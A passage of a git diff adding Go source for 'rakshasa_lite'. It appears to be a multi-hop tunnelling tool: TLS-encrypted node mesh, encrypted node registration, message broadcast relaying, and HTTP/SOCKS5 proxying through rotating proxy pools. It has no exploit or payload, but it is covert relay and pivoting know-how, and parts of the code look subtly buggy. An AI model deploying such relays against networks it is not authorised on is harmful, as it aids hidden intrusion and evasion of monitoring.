+ go func() { + for { + conn, err := l.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + //封装一个符合common.server接口的server + + c := &Conn{ + nodeConn: conn.(*tls.Conn), + remoteAddr: conn.RemoteAddr().String(), + } + connMap.Store(c.remoteAddr, conn) + go c.handlerNodeRead() + go c.handle() + } + }() + + return nil +} +func init() { + go func() { + for b := range closeChan { + b.Reset() + bufPool.Put(b) + } + + }() +} + +func (conn *serverConnect) Close(reason string) { + if atomic.CompareAndSwapInt32(&conn.close, 0, 1) { + go func() { + if conn.conn != nil { + conn.conn.Close() + } + //fmt.Println(conn.fd, reason) + conn.node.connMap.Delete(conn.id) + conn.closeReason = reason + conn.node.listenMap.Range(func(key, value interface{}) bool { + value.(*serverListen).connMap.Delete(conn.id) + return true + }) + if reason != remoteClose { + conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil) + } + + select { + case conn.wait <- common.CONN_STATUS_CLOSE: + case <-time.After(time.Second * 10): + } + conn.write <- nil + conn.write = closeChan + + }() + } +} +func (c *Conn) Close(reason string) { + c.close <- reason + +} + +func (conn *serverConnect) handTcpReceive() { + go func() { + for b := range conn.write { + if b == nil { + conn.write = closeChan + return + } + if _, err := conn.conn.Write(b.Bytes()); err != nil { + conn.Close(err.Error()) + } + b.Reset() + bufPool.Put(b) + } + }() + var err error + var n int + defer func() { + + if err != nil { + conn.Close(conn.address + " 读取出错" + err.Error()) + } else { + conn.Close(conn.address + " read异常关闭") + } + + }() + + buf := make([]byte, common.MAX_PLAINTEXT) + + for conn.close == 0 { + conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE)) + n, err = conn.conn.Read(buf) + if err != nil { + if atomic.LoadInt32(&conn.close) == 0 { + if e := err.Error(); !strings.Contains(e, ": i/o timeout") { + + return + } + continue + } else { + return + } + } + data := make([]byte, n) + copy(data, buf) + + conn.node.Write(common.CMD_CONN_MSG, conn.id, data) + + atomic.AddInt64(&conn.windowsSize, -1*int64(n)) + + for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 { + + select { + case flag := <-conn.wait: + if flag == common.CONN_STATUS_CLOSE { + return + } + case <-time.After(time.Second): + } + } + } + +} +func (conn *serverConnect) Write(data []byte) { + data = data[1:] + windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56 + + if windows_update_size != 0 { + + old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size + if old < 0 { + go func() { + select { + case conn.wait <- common.CONN_STATUS_OK: + case <-time.After(time.Second): + } + }() + } + } + b := bufPool.Get().(*bytes.Buffer) + b.Reset() + b.Write(data[8:]) + conn.write <- b +} +func (conn *serverConnect) handUdpReceive() { + + var err error + var n int + defer func() { + + if err != nil { + conn.Close(conn.address + " 网站读取出错" + err.Error()) + } else { + conn.Close(conn.address + " read异常关闭") + } + + }() + + buf := make([]byte, common.MAX_PLAINTEXT) + + for conn.close == 0 { + conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE)) + n, err = conn.conn.Read(buf) + if err != nil { + if atomic.LoadInt32(&conn.close) == 0 { + if e := err.Error(); !strings.Contains(e, ": i/o timeout") { + + return + } + continue + } else { + return + } + } + + b := make([]byte, n) + copy(b, buf) + conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b) + + } + +} + +func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) { + + netconn, err := net.DialTimeout("tcp", addr, time.Second*30) + if err != nil { + buf := make([]byte, 2) + buf[0] = byte(network) + buf[1] = 0 + conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...)) + conn.Close("fd拨号失败") + return + } else { + buf := make([]byte, 2) + buf[0] = byte(network) + buf[1] = 1 + conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...)) + if conn.close == 0 { + conn.conn = netconn + go conn.handTcpReceive() + + } + + } +} +func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) { + writeResult := func(res bool) { + buf := make([]byte, 2) + buf[0] = byte(network) + buf[1] = 0 + if res { + buf[1] = 1 + } + conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...)) + } + + if i := strings.IndexByte(addr, 32); i > -1 { + cfg, err := common.ParseAddr(addr[i+1:]) + if err != nil { + writeResult(false) + conn.Close("地址解析失败") + return + } + netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2) + if err != nil { + writeResult(false) + conn.Close("fd拨号失败") + return + } else { + netconn.SetDeadline(time.Now().Add(time.Second * 30)) + netconn.SetWriteDeadline(time.Now().Add(time.Second * 30)) + switch cfg.Scheam() { + case "", "http://": + //请求代理 + data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i]) + if cfg.GetHttpAuthorizationHeader() != "" { + data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n" + } else { + data += "\r\n" + } + _, err = netconn.Write([]byte(data)) + if err != nil { + writeResult(false) + conn.Close("http代理发送消息失败") + return + } + var resdata []byte + var result [8192]byte + var req = &http1request{} + for { + n, err := netconn.Read(result[:]) + if err != nil { + writeResult(false) + conn.Close("读取http代理结果失败") + return + } + + resdata = append(resdata, result[:n]...) + l, _, err := parsereq(req, resdata) + if err != nil { + return + } else if l > 0 { + break + } + + } + if req.Status == "200 Connection established" { + writeResult(true) + if conn.close == 0 { + conn.conn = netconn + go conn.handTcpReceive() + + } + } else { + writeResult(false) + conn.Close("http代理连接失败") + } + writeResult(true) + case "socks5://": + _, err = netconn.Write([]byte{5, 1, 2}) + if err != nil { + writeResult(false) + conn.Close("socks5代理发送消息失败") + return + } + var result [8192]byte + + n, err := netconn.Read(result[:]) + if err != nil { + writeResult(false) + conn.Close("读取socks5数据出错") + return + } + + if string(result[:n]) == string([]byte{5, 2}) { //需要认证 + user, password := cfg.User(), cfg.Password() + if user == "" && password == "" { + writeResult(false) + conn.Close("socks5需要验证") + return + } + + data := make([]byte, (3 + len(user) + len(password))) + data[0] = 5 + data[1] = byte(len(user)) + copy(data[2:], user) + data[2+len(user)] = byte(len(password)) + copy(data[3+len(user):], password) + netconn.Write(data) + n, err = netconn.Read(result[:]) + if err != nil || string(result[:n]) != string([]byte{5, 0}) { + writeResult(false) + conn.Close("密码校验不通过") + return + } + } + + data := []byte{5, 1, 0, 1} + if u, err := url.ParseRequestURI(addr[:i]); err == nil { + data[3] = 3 + data = append(data, byte(len(u.Scheme))) + data = append(data, u.Scheme...) + p, _ := strconv.Atoi(u.Opaque) + port := []byte{byte(p >> 8), byte(p)} + data = append(data, port...) + } else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil { + data[3] = 1 + data = append(data, tcp4.IP.String()...) + port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)} + data = append(data, port...) + } else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil { + data[3] = 4 + data = append(data, tcp6.IP.String()...) + port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)} + data = append(data, port...) + } + netconn.Write(data) + n, _ = netconn.Read(result[:]) + if n >= 2 && string(result[:2]) == string([]byte{5, 0}) { + writeResult(true) + if conn.close == 0 { + conn.conn = netconn + go conn.handTcpReceive() + + } + } else { + writeResult(false) + conn.Close("socks5连接失败") + } + + default: + writeResult(false) + conn.Close("不支持的代理协议") + } + + } + } else { + writeResult(false) + conn.Close("无法获取代理地址") + + } + +} + +func (conn *serverConnect) doHandleUdp() { + for b := range conn.write { + if b == nil { + conn.write = closeChan + return + } + + conn.conn.Write(b.Bytes()) + b.Reset() + bufPool.Put(b) + } +} + +var broadcastMap sync.Map //广播帧防止重复处理 +func (c *Conn) handlerNodeRead() { + var err error + defer func() { + c.nodeConn.Close() + c.Close("read错误" + err.Error()) + + }() + + lengbuf := make([]byte, 2) + for { + _, err = io.ReadFull(c.nodeConn, lengbuf) + if err != nil { + if strings.Contains(err.Error(), "i/o timeout") { + continue + } + return + } + + buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8) + _, err = io.ReadFull(c.nodeConn, buf) + b := aes.AesCtrDecrypt(buf) + msg := common.UnmarshalMsg(b) + + if msg.To == common.NoneUUID.String() && c.node == nil { + c.inChan <- func() { + newNode := &node{ + conn: c, + } + newNode.do(msg) + } + } else if msg.To == currentNode.uuid { + + func() { + l := clientLock.RLock() + v, ok := nodeMap[msg.From] + l.RUnlock() + if ok && v.port != 0 { + c.inChan <- func() { + v.do(msg) + } + } else { + l := clientLock.Lock() + v, ok := nodeMap[msg.From] + if !ok { + newNode := &node{ + uuid: msg.From, + conn: c, + waitMsg: []*common.Msg{msg}, + } + result := make(chan interface{}, 1) + id := newNode.storeQuery(result) + + nodeMap[msg.From] = newNode + l.Unlock() + newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息 + go func() { + defer newNode.deleteQuery(id) + select { + case res := <-result: + if res == nil { + + for _, m := range newNode.waitMsg { + c.inChan <- func() { + newNode.do(m) + } + } + } + case <-time.After(common.CMD_TIMEOUT): + newNode.Delete("超时") + } + }() + + } else { + + if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT { + + var res chan interface{} + if _v, ok := v.loadQuery(msg.CmdId); !ok { + return + } else { + res = _v + } + + var nmsg nodeInfo + err = json.Unmarshal(msg.CmdData, &nmsg) + if err != nil { + res <- err + return + } + v.hostName = cert.RSADecrypterStr(nmsg.HostName) + v.uuid = cert.RSADecrypterStr(nmsg.UUID) + if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil { + v.port = -1 + } + v.mainIp = cert.RSADecrypterStr(nmsg.MainIp) + v.goos = cert.RSADecrypterStr(nmsg.Goos) + res <- nil + } else { + v.waitMsg = append(v.waitMsg, msg) + } + + l.Unlock() + } + + } + }() + + } else { + + key := msg.From + "_" + strconv.Itoa(int(msg.MsgId)) + msg.Ttl++ + if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok { + + if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播 + go allNodesDo(func(_n *node) (bool, error) { + if _n.uuid != currentNode.uuid { + _n.WriteMsg(msg) + } + return true, nil + }) + newNode := &node{ + conn: c, + } + c.inChan <- func() { + newNode.do(msg) + } + } else { + c.WriteToUUID(msg) + } + time.AfterFunc(time.Hour, func() { + broadcastMap.Delete(key) + }) + + } + + } + + } +} + +func (c *Conn) handle() { + c.OutChan = make(chan []byte, 64) + c.inChan = make(chan func()) + + c.close = make(chan string, 999) + + go func() { + for { + select { + case f := <-c.inChan: + f() + //c.do(b) + case b := <-c.OutChan: + + if c.closeTag == 0 { + c.tlsWrite(b) + //var err error + for i := 0; i < len(c.OutChan); i++ { + + c.tlsWrite(<-c.OutChan) + } + } + + case <-c.close: + c.OutChan = upNodeWrite + if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 { + c.node.ping(0) + c.node.nextPingTime = time.Now().Unix() + 5 + } + func() { //返回false则退出handle + connMap.Delete(c.remoteAddr) + l := clientLock.Lock() + defer func() { + l.Unlock() + }() + + if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) { + + if c.nodeConn != nil { + c.nodeConn.Close() + } + + if c.node != nil { + //移除上游连接 + for i := len(upLevelNode) - 1; i >= 0; i-- { + n := upLevelNode[i] + if n.uuid == c.node.uuid { + upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...) + } + } + } + + } + + return + }() + return + } + } + }() + +} +func (c *Conn) reg() error { + + var err error + reg := &common.RegMsg{ + UUID: currentNode.uuid, + MainIp: cert.RSAEncrypterStr(currentNode.mainIp), + Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)), + Goos: cert.RSAEncrypterStr(currentNode.goos), + Hostname: cert.RSAEncrypterStr(currentNode.hostName), + } + regb, _ := json.Marshal(reg) + msg := common.Msg{ + From: currentNode.uuid, + To: common.NoneUUID.String(), + CmdOpteion: common.CMD_REG, + CmdData: regb, + } + if err = c.tlsWrite(msg.Marshal()); err != nil { + return err + } + go c.handlerNodeRead() + return nil +} +func (c *Conn) WriteToUUID(msg *common.Msg) { + + l := clientLock.RLock() + defer l.RUnlock() + + if n, ok := nodeMap[msg.To]; ok { + n.WriteMsg(msg) + } +} + +func (c *Conn) Write(b []byte) { + + c.OutChan <- b +} + +func (c *Conn) tlsWrite(b []byte) error { + c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE)) + _, err := c.nodeConn.Write(b) + if err != nil { + c.Close("Write " + err.Error()) + upNodeWrite <- b + } + return err +} diff --git a/rakshasa_lite/server/http_proxy.go b/rakshasa_lite/server/http_proxy.go new file mode 100644 index 0000000..86a7eb4 --- /dev/null +++ b/rakshasa_lite/server/http_proxy.go @@ -0,0 +1,507 @@ +package server + +import ( + "bytes" + "cert" + "encoding/binary" + "fmt" + "log" + "math/rand" + "net" + "net/url" + "rakshasa_lite/common" + "rakshasa_lite/httppool" + "strings" + "sync" + "sync/atomic" + "time" +) + +type httpProxyClient struct { + windowsSize int64 + isclose int32 + conn net.Conn + udpconn net.Conn + + remote int32 + server *node + id uint32 + wait chan int + close string + + udpMap sync.Map + listenId uint32 + localAddr string + isConnect bool + method string + cfg *common.Addr + pool *httppool.HttpPool + remoteAddr string + remotePort string + randkey []byte +} + +func (s *httpProxyClient) Write(b []byte) { + + switch b[0] { + case common.CMD_CONNECT_BYIDADDR_RESULT: + if string(s.randkey) != string(b[1:9]) { + return + } + switch common.NetWork(b[9]) { + + case common.RAW_TCP: + if b[10] != 1 { + go func() { s.Close("") }() + } else if s.method == "CONNECT" { + s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n")) + } + case common.RAW_TCP_WITH_PROXY: + + if b[10] != 1 { + //重新拉取一个池 + s.connect() + } else if s.method == "CONNECT" { + s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n")) + } + default: + log.Println("httpProxyClient 未处理") + } + + case common.CMD_CONN_MSG: + s.conn.Write(b[1:]) + s.Addwindow(int64(-len(b[1:]))) + default: + log.Println("未处理") + } + +} + +func (s *httpProxyClient) Close(msg string) { + if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) { + + <-s.wait + s.wait <- common.CONN_STATUS_CLOSE + + s.server.connMap.Delete(s.id) + + if msg == "" { + msg = "未知关闭" + } + s.close = msg + if msg == remoteClose { + s.remote = CONN_REMOTE_CLOSE + } else if s.remote == CONN_REMOTE_OPEN { + s.remote = CONN_REMOTE_CLOSE + s.Remoteclose() + } + + s.conn.Close() + if s.udpconn != nil { + s.udpconn.Close() + } + s.udpMap.Range(func(k, _ interface{}) bool { + s.udpMap.Delete(k) + return true + }) + } + +} +func (s *httpProxyClient) Addwindow(window int64) { + + windows_size := atomic.AddInt64(&s.windowsSize, window) + windows_update_size := int64(common.INIT_WINDOWS_SIZE) + + if windows_size < windows_update_size/2 { //扩大窗口 + if size := windows_update_size - s.windowsSize; size > 0 { + atomic.AddInt64(&s.windowsSize, size) + + go func() { + buf := make([]byte, 8) + buf[0] = byte(size & 255) + buf[1] = byte(size >> 8 & 255) + buf[2] = byte(size >> 16 & 255) + buf[3] = byte(size >> 24 & 255) + buf[4] = byte(size >> 32 & 255) + buf[5] = byte(size >> 40 & 255) + buf[6] = byte(size >> 48 & 255) + buf[7] = byte(size >> 56 & 255) + s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf) + }() + } + } +} + +func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error { + var pool *httppool.HttpPool + var err error + if poolfile != "" { + pool, err = httppool.HttpPoolInit(poolfile) + if err != nil { + return err + } + } + var target *node + + if len(dst) == 0 { + target = currentNode + } else { + target, err = GetNodeFromAddrs(dst) + if err != nil { + return err + } + } + + l := &clientListen{ + server: target, + localAddr: cfg.Addr(), + id: common.GetID(), + typ: "http", + randkey: make([]byte, 8), + } + binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool) + if err != nil { + + return err + } + + currentNode.listenMap.Store(l.id, l) + return nil +} +func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) { + l, err := net.Listen("tcp", cfg.Addr()) + if err != nil { + return nil, err + } + randkey := make([]byte, 8) + binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + fmt.Println("httpproxy start ", cfg.Addr()) + go func() { + for { + conn, err := l.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + s := &httpProxyClient{ + cfg: cfg, + conn: conn, + server: n, + listenId: id, + pool: pool, + randkey: randkey, + } + go handleHttpProxyLocal(s) + } + }() + return l, nil +} +func (s *httpProxyClient) OnOpened() (close bool) { + s.wait = make(chan int, 1) + s.remote = CONN_REMOTE_OPEN + s.windowsSize = 0 + s.wait <- common.CONN_STATUS_OK + + return +} + +// 监听本地服务 +func handleHttpProxyLocal(s *httpProxyClient) { + defer func() { + if err := recover(); err != nil { + + } + }() + b := make([]byte, common.MAX_PLAINTEXT-8) + if s.OnOpened() { + s.Close("无法获得服务器连接") + } + var data []byte + var req = &http1request{} + for { + n, err := s.conn.Read(b) + if err != nil { + + s.Close(err.Error()) + return + } + + data = append(data, b[:n]...) + //尝试读取一个http消息 + l, _, err := parsereq(req, data) + if err != nil { + return + } else if l == 0 { + continue + } + //判断用户名密码 + if s.cfg.GetHttpAuthorizationHeader() != "" { + var authorize bool + for _, herder := range req.header { + + if herder == s.cfg.GetHttpAuthorizationHeader() { + authorize = true + break + } + } + if !authorize { + s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n")) + continue + } + + } + data = data[l:] + switch req.method { + case "GET": + if u, err := url.Parse(req.uri); err == nil { + if i := strings.IndexByte(u.Host, ':'); i > -1 { + s.remoteAddr = u.Host[:i] + s.remotePort = u.Host[i+1:] + } else { + s.remoteAddr = u.Host + s.remotePort = "80" + } + s.connect() + buf := bufPool.Get().(*bytes.Buffer) + buf.Reset() + buf.WriteString("GET ") + buf.WriteString(req.uri) + buf.WriteString(" HTTP/1.1\r\n") + for _, header := range req.header { + buf.WriteString(header) + buf.WriteString("\r\n") + } + buf.WriteString("\r\n") + s.write2connect(buf.Bytes()) + buf.Reset() + bufPool.Put(buf) + + } else { + return + } + case "CONNECT": + s.method = "CONNECT" + if i := strings.IndexByte(req.uri, ':'); i > -1 { + s.remoteAddr = req.uri[:i] + s.remotePort = req.uri[i+1:] + s.connect() + } else { + return + } + + for { + n, err = s.conn.Read(b) + if err != nil { + s.Close(err.Error()) + return + } + + s.write2connect(b[:n]) + } + default: + + } + + } + +} +func (s *httpProxyClient) write2connect(data []byte) { + var new_size int64 + if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口 + atomic.AddInt64(&s.windowsSize, new_size) + + } else { + new_size = 0 + } + outdata := make([]byte, 8) + outdata[0] = byte(new_size) + outdata[1] = byte(new_size >> 8) + outdata[2] = byte(new_size >> 16) + outdata[3] = byte(new_size >> 24) + outdata[4] = byte(new_size >> 32) + outdata[5] = byte(new_size >> 40) + outdata[6] = byte(new_size >> 48) + outdata[7] = byte(new_size >> 56) + + s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...)) +} +func (s *httpProxyClient) connect() { + if !s.isConnect { + + buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort)) + s.id = s.server.storeConn(s) + buf[0] = byte(common.RAW_TCP) + copy(buf[1:], s.remoteAddr) + buf[1+len(s.remoteAddr)] = ':' + copy(buf[2+len(s.remoteAddr):], s.remotePort) + //添加代理信息 + if s.pool != nil { + proxy := s.pool.Next() + buf[0] = byte(common.RAW_TCP_WITH_PROXY) + buf = append(buf, []byte(" "+proxy.String())...) + } + + s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...))) + if value, ok := s.server.listenMap.Load(s.listenId); ok { + switch v := value.(type) { + case *serverListen: + v.connMap.Store(s.id, s) + case *clientListen: + v.connMap.Store(s.id, s) + } + } + s.isConnect = true + } + +} + +func (s *httpProxyClient) Remoteclose() { + + s.close = "本地要求远程关闭" + + buf := make([]byte, 4) + buf[0] = byte(s.id) + buf[1] = byte(s.id >> 8) + buf[2] = byte(s.id >> 16) + buf[3] = byte(s.id >> 24) + s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...)) + +} +func init() { + +} + +type kv struct { //kv键值对 + key string + value string +} +type http1request struct { + Status string + + //解析相关 + Proto, method string + path, query, uri string + keep_alive bool + header []string //记录整行 + body []byte + //rawdata []byte + + //输出buffer相关 + //data io.ReadCloser //消息主体 + //dataSize int //dataSize大于-1就输出,所以要放到最后赋值 + //out *tls.MsgBuffer //输出消息用buffer,包含header等信息 + //out1 *tls.MsgBuffer + //流水线控制 + //next *http1request + //num int32 + //alreadyOutHreader bool +} + +func (req *http1request) addheader(line string, j int) { + if line[:j] == "Proxy-Connection" { + req.header = append(req.header, "Connection: "+line[j+2:]) + req.keep_alive = line[j+2:] == "line[j+2:]" + } else { + req.header = append(req.header, line) + } + +} +func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) { + + l := len(data) + defer func() { + if e := recover(); e != nil { + + } + }() + + // method, path, proto line + + req.Proto = "" + var s = 0 + var line string + var firstLine = true + req.body = req.body[:0] + req.header = req.header[:0] + for i, j := 0, 0; j < l; j += i + 2 { + i = bytes.IndexByte(data[j:], 13) + + if i == -1 { + break //跳出循环,判断是否包体过大 + } + + line = string(data[j : j+i]) + if i > 0 { + if firstLine { + var q = -1 + i := strings.IndexByte(line, 32) + if i > -1 { + req.method = line[:i] + line = line[i+1:] + for i, v := range line { + if v == 63 && q == -1 { + q = i + } else if v == 32 { + if q != -1 { + req.path = line[s:q] + req.query = line[q+1 : i] + } else { + req.path = line[s:i] + } + req.uri = line[s:i] + i++ + req.Proto = line[i:] + //判断http返回 + if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" { + /*code, err := strconv.Atoi(req.path) + if err == nil { + //req.Code = code + //req.CodeMsg = req.Proto + }*/ + req.Status = line + req.Proto = req.method + req.method = "" + req.path = "" + } + break + } + } + } + + switch req.Proto { + case "HTTP/1.0": + req.keep_alive = false + case "HTTP/1.1": + req.keep_alive = true + default: + return 0, nil, fmt.Errorf("malformed http1request") + } + firstLine = false + } else { + k := strings.IndexByte(line, 58) + if k > -1 && k < len(line) { + req.addheader(line, k) + } + } + } else { + + j += i + 2 + + if l-j < clen { + return 0, nil, nil + } + req.body = append(req.body, data[j:j+clen]...) + //req.body = append(req.body, data[s:s+clen]...) + //req.rawdata = append(req.rawdata, data[:j+clen]...) + return j + clen, req.body, nil + + } + + } + + return 0, nil, nil +} diff --git a/rakshasa_lite/server/lock.go b/rakshasa_lite/server/lock.go new file mode 100644 index 0000000..d4dc5ac --- /dev/null +++ b/rakshasa_lite/server/lock.go @@ -0,0 +1,38 @@ +package server + +//封装一下易于调试的lock +import ( + "sync" +) + +type lock struct { + l sync.RWMutex +} +type unlock struct { + key string + l *sync.RWMutex +} + +func (l *lock) Lock(old ...*unlock) *unlock { + u := &unlock{l: &l.l} + if len(old) == 1 { + u = old[0] + } + l.l.Lock() + return u +} +func (l *lock) RLock(old ...*unlock) *unlock { + u := &unlock{l: &l.l} + if len(old) == 1 { + u = old[0] + } + + l.l.RLock() + return u +} +func (l *unlock) Unlock() { + l.l.Unlock() +} +func (l *unlock) RUnlock() { + l.l.RUnlock() +} diff --git a/rakshasa_lite/server/node.go b/rakshasa_lite/server/node.go new file mode 100644 index 0000000..13f24e1 --- /dev/null +++ b/rakshasa_lite/server/node.go @@ -0,0 +1,1480 @@ +package server + +import ( + "bytes" + "cert" + "crypto/tls" + "encoding/json" + "errors" + "fmt" + "io" + "io/ioutil" + "math/rand" + "net" + "os" + "rakshasa_lite/common" + "runtime" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + "unsafe" + + uuid2 "github.com/google/uuid" +) + +var ( + currentNode = &node{uuid: uuid2.New().String()} + clientLock = &lock{} + nodeMap = make(map[string]*node) + upLevelNode []*node //上游节点 + upNodeWrite = make(chan []byte, 999) + extNodeIp []string + connMap sync.Map +) + +func InitCurrentNode() { + s := unsafe.Sizeof(uintptr(1)) + bit := " x32" + if s == 8 { + bit = " x64" + } + rand.Seed(time.Now().Unix()) + currentNode.hostName, _ = os.Hostname() + if ip, _ := common.ExternalIP(); ip != nil { + currentNode.addr = ip.String() + } + currentNode.goos = runtime.GOOS + bit + currentNode.mirrorNode = &node{ + id: currentNode.id, + uuid: currentNode.uuid, + hostName: currentNode.hostName, + goos: currentNode.goos, + addr: currentNode.addr, + } + currentNode.mirrorNode.mirrorNode = currentNode + nodeMap[currentNode.uuid] = currentNode + //fmt.Println("当前节点UUID", currentNode.uuid) + go func() { + for b := range upNodeWrite { + for { + ok := func() bool { + + l := clientLock.Lock() + defer l.Unlock() + + if len(upLevelNode) == 0 { + return false + } + upLevelNode[0].conn.tlsWrite(b) + return true + }() + if ok { + break + } + time.Sleep(time.Second) + } + + } + }() + nodeTickPing() + time.AfterFunc(time.Second*10, checkUpLevelNode) +} +func checkUpLevelNode() { + + if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 { + + //尝试重新连接节点 + for _, addr := range currentConfig.DstNode { + connectNew(addr) + } + if len(upLevelNode) == 0 { + //尝试连接其他节点 + if !currentConfig.Limit { + for _, addr := range extNodeIp { + connectNew(addr) + if len(upLevelNode) > 0 { + return + } + } + func() { + + l := clientLock.RLock() + defer l.RUnlock() + + for _, n := range nodeMap { + if n.uuid != currentNode.uuid { + func() { + + l.RUnlock() + defer clientLock.RLock(l) + + if len(n.mainIp) == 0 { + connectNew(fmt.Sprintf("%s:%d", n.addr, n.port)) + } + }() + if len(upLevelNode) > 0 { + return + } + } + } + }() + + } + } + + } + time.AfterFunc(time.Second*5, checkUpLevelNode) +} +func nodeTickPing() { + + l := clientLock.RLock() + defer l.RUnlock() + + now := time.Now().Unix() + for _, n := range nodeMap { + if n.uuid != currentNode.uuid { + if n.mainIp != "" { + addr1 := fmt.Sprintf("%s:%d", n.mainIp, n.port) + find := false + for _, addr2 := range extNodeIp { + if addr1 == addr2 { + find = true + break + } + } + if !find { + extNodeIp = append(extNodeIp, addr1) + } + } + if n.nextPingTime == 0 { + go n.ping(0) + n.nextPingTime = now + 10 + rand.Int63n(10) + } else if n.nextPingTime < now { + go n.ping(0) + n.nextPingTime = now + 30 + rand.Int63n(30) + } + + } + + } + time.AfterFunc(time.Second*1, nodeTickPing) +} + +// 节点 +type node struct { + id int + uuid string + hostName string + goos string + addr string + connMap sync.Map + udpConnMap sync.Map + listenMap sync.Map //client端会存入clientListen,server存入serverListen + shellMap sync.Map + queryMap sync.Map + conn *Conn + pingTime, pongTime int64 + mainIp string + port int + listen net.Listener + nextPingTime int64 + + waitMsg []*common.Msg //需要等待处理的消息 + mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动 + isClose int32 + reConnectAddrs []string //重连节点需要的信息 +} +type nodeInfo struct { + UUID string + HostName string + MainIp string + Port string + Goos string +} + +func connectNew(addr string) (n *node, e error) { + //先从已连接查找 + for _, node := range nodeMap { + if fmt.Sprintf("%s:%d", node.mainIp, node.port) == addr { + return node, nil + } else if fmt.Sprintf("%s:%d", node.addr, node.port) == addr { + return node, nil + } else if node.uuid == addr { + return node, nil + } + } + config := cert.Tlsconfig.Clone() + interfaces, err := net.Interfaces() + if err != nil { + return nil, fmt.Errorf("无法获得网卡信息%v", err) + } + var connChan = make(chan *tls.Conn, 1) + raddr, err := net.ResolveTCPAddr("tcp", addr) + if err != nil { + return nil, err + } + for _, i := range interfaces { + addrs, e := i.Addrs() + if e == nil { + for _, localAddr := range addrs { + go func(localAddr net.Addr) { + localstr := localAddr.String() + localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0" + laddr, _ := net.ResolveTCPAddr("tcp", localstr) + if laddr!=nil{ + if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil { + conn := tls.Client(netconn, config) + select { + case connChan <- conn: + default: + } + } + } + + }(localAddr) + } + } + } + var conn *tls.Conn + select { + case c := <-connChan: + conn = c + case <-time.After(common.CMD_TIMEOUT): + return nil, fmt.Errorf("无法连接%s", addr) + } + c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()} + connMap.Store(c.remoteAddr, conn) + c.regResult = make(chan error, 1) + c.regResultNode = make(chan *node, 1) + c.handle() + c.reg() + + defer func() { + if c.node != nil { + l := clientLock.Lock() + find := false + for _, n := range upLevelNode { + if n.uuid == c.node.uuid { + find = true + } + } + if !find { + upLevelNode = append(upLevelNode, c.node) + } + + l.Unlock() + } + }() + select { + case err = <-c.regResult: + return nil, err + case n = <-c.regResultNode: + //连接成功 + n.reConnectAddrs = []string{addr} + return n, err + case <-time.After(time.Second * 10): + return nil, errors.New("time out") + } + +} + +func (n *node) Write(option uint8, id 